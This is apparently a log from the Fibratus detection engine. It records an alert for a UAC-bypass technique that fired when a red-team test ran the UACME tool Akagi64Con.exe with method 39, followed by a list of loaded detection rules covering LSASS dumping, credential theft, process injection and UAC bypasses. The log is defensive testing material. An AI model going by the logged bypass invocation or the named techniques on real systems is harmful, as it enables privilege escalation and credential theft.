COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 98904 + Pid: 8220 + Tid: 15544 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:35:30.8692851 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 264d05000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080040d0080, name➜ cmd.exe, pid➜ 5268, ppid➜ 8220, real_ppid➜ 8220, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:35:30.8692364 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8220 + Ppid: 14100 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:36:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:36:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:36:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:36:08+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:36:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:36:08+01:00 level=info msg=bootstrapping with pid 8660. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:36:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + 